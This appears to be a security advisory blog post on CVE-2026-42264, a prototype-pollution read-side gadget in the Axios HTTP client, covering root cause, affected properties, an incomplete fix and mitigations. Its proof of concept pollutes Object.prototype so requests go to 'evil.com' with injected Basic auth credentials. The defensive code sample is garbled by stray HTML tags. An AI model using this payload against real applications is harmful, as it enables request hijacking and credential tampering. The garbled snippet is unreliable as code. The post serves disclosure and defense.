Listen to this Post
How CVE-2026-42264 Works
Axios is a promise-based HTTP client for both Node.js and the browser. Between versions 1.0.0 and 1.15.1, Axios contained a critical prototype pollution vulnerability where five config properties—auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser—were read via direct property access without `hasOwnProperty` guards.
The root cause lies in the `mergeConfig()` function, which iterates over Object.keys({...config1, ...config2})—this only returns own properties. When neither defaults nor user config set these properties, they remain absent from the merged config. However, the HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the JavaScript prototype chain and picks up polluted values from Object.prototype.
The `own()` helper at `lib/adapters/http.js` line 336 already guards eight other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack—but the five critical properties listed above were not included in this protection.
In practice, if an attacker can pollute `Object.prototype.auth` with { username: 'attacker', password: 'exfil' }, every subsequent Axios request will silently include an `Authorization: Basic YXR0YWNrZXI6ZXhmaWw=` header, leaking credentials to any server that logs auth headers. Similarly, polluting `Object.prototype.baseURL` redirects all relative-URL requests to an attacker-controlled server, `socketPath` enables SSRF to internal Unix sockets (e.g., Docker daemon), `beforeRedirect` executes attacker-supplied callbacks during redirects, and `insecureHTTPParser` enables Node.js insecure HTTP parser on all requests, enabling request smuggling.
The fix shipped in v1.15.2 applied `Object.create(null)` to the top-level config object, blocking direct prototype pollution on config.auth, config.proxy, etc.. However, this fix was incomplete: nested objects created by `utils.merge()` (e.g., config.proxy) still inherited from Object.prototype. Moreover, the auth subfield reads—configAuth.username and configAuth.password—remained unguarded even when the top-level `auth` object itself was an own property. If a caller passes `auth: {}` and Object.prototype.username/password are polluted, the direct subfield reads walk the prototype chain and return attacker-controlled values.
This vulnerability requires a separate prototype-pollution primitive elsewhere in the host process—Axios itself does not pollute prototypes. Exploitation also requires an Axios call pattern such as `auth: opts.auth || {}` (an empty own object). The practical impact is outbound request tampering: attacker-chosen Basic auth credentials can be injected, existing `Authorization` headers can be replaced (since Axios removes them when `auth` is used), or downstream authorization failures can be caused.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | Axios (Node.js / Browser) |
| Version | 1.0.0 – 1.15.1 |
| Vulnerability | Prototype Pollution Read-Side Gadget |
| Severity | High (CVSS 7.4) |
| Date | 2026-05-05 |
| Prediction | Fixed in v1.15.2 |
What Undercode Say: Analytics
Affected Properties & Attack Vectors
| Property | File | Impact |
|-||–|
| `config.auth` | `lib/adapters/http.js:617` | Injects attacker-controlled `Authorization` header on all requests |
| `config.baseURL` | `lib/helpers/resolveConfig.js:18` | Redirects all relative-URL requests to attacker-controlled server |
| `config.socketPath` | `lib/adapters/http.js:669` | Redirects requests to internal Unix sockets (e.g., Docker daemon) |
| `config.beforeRedirect` | `lib/adapters/http.js:698` | Executes attacker-supplied callback during HTTP redirects |
| `config.insecureHTTPParser` | `lib/adapters/http.js:712` | Enables Node.js insecure HTTP parser on all requests |
Proof of Concept (PoC)
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Source: GitHub Advisory
Root Cause Analysis
// mergeConfig() iterates only over own properties
Object.keys({...config1, ...config2}) // ← only returns own properties
// When properties are absent from merged config, HTTP adapter reads via direct access
const configAuth = config.auth; // ← traverses prototype chain!
// If Object.prototype.auth is polluted, this returns the polluted value
The `own()` helper at `lib/adapters/http.js:336` already guards 8 properties—but the 5 critical ones above were not included.
Exploit
The exploitation chain requires:
- A separate prototype-pollution primitive elsewhere in the host process (e.g., a vulnerable deep-merge utility parsing attacker-controlled JSON)
- An Axios call pattern such as
auth: opts.auth || {}—passing an empty own object that lacksusername/passwordown properties - Polluted `Object.prototype` values for
username,password,baseURL,socketPath,beforeRedirect, or `insecureHTTPParser`
When these conditions are met, Axios silently inherits the polluted values and uses them to construct outbound requests—injecting credentials, redirecting traffic, enabling SSRF, or executing attacker code.
Protection
Immediate Mitigation
- Upgrade to Axios v1.15.2 or later
- If upgrading is not possible, avoid passing empty or partial `auth` objects—only set `auth` when the application has own `username` and `password` values
- Applications that merge untrusted input should filter
__proto__,constructor, and `prototype` keys - Use own-property checks (
hasOwnProperty) rather than `opts.auth || {}` when reading optional user options
Defensive Coding Pattern
-
</dt> <dt>// Instead of:</dt> <dt>auth: opts.auth || {}</dt> <dt>// Use:</dt> <dt>auth: opts.auth && Object.hasOwn(opts.auth, 'username') && Object.hasOwn(opts.auth, 'password')</dt> <dt>? opts.auth</dt> <dd>undefined
Long-Term Hardening
The fix applied in v1.15.2 used `Object.create(null)` for the top-level config object. The same pattern should be applied to all nested objects created by utils.merge(), and all property reads should be guarded with utils.hasOwnProp—matching the proxy-auth pattern already established in PR 10833.
Impact
| Impact Area | Description |
|-|-|
| Credential Injection | Every Axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers |
| Request Hijacking | All requests using relative URLs are silently redirected to an attacker-controlled server |
| SSRF | Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments |
| Code Execution | Attacker-supplied functions execute during HTTP redirects via `beforeRedirect` |
| Parser Weakening | Insecure HTTP parser enabled on all requests, enabling request smuggling |
This vulnerability is an amplifier—it requires a separate prototype-pollution primitive elsewhere in the host process, but once that primitive exists, Axios becomes a powerful vector for credential theft, request hijacking, and SSRF.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
